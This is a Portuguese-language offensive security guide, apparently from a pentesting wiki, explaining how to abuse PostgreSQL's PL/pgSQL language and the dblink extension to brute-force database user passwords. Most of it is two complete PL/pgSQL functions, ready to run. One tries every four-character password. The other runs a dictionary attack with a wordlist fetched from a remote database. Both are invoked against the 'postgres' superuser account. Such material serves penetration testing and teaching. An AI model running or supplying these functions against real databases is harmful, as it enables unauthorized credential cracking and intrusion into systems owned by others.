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Bruteforce de Senha PL/pgSQL
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O PL/pgSQL, como uma linguagem de programação completa, permite um controle mais procedural do que o SQL, incluindo a capacidade de usar loops e outras estruturas de controle. Declarações SQL e gatilhos podem chamar funções criadas na linguagem PL/pgSQL.
Você pode abusar dessa linguagem para pedir ao PostgreSQL que faça um brute-force das credenciais dos usuários, mas elas devem existir no banco de dados. Você pode verificar a existência delas usando:
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
Por padrão, a criação de funções é um privilégio concedido ao PUBLIC, onde PUBLIC se refere a todos os usuários do sistema de banco de dados. Para evitar isso, o administrador poderia ter revogado o privilégio de USO do domínio PUBLIC:
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
Nesse caso, nossa consulta anterior produziria resultados diferentes:
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
Observe que para o seguinte script funcionar a função dblink
precisa existir. Se ela não existir, você pode tentar criá-la com o seguinte comando:
CREATE EXTENSION dblink;
Força Bruta de Senha
Aqui está como você pode realizar uma força bruta de senha de 4 caracteres:
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Nota que mesmo forçar a entrada de senhas de 4 caracteres pode levar vários minutos.
Você também pode baixar uma lista de palavras e tentar apenas essas senhas (ataque de dicionário):
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Encontre mais informações sobre esse ataque neste artigo.
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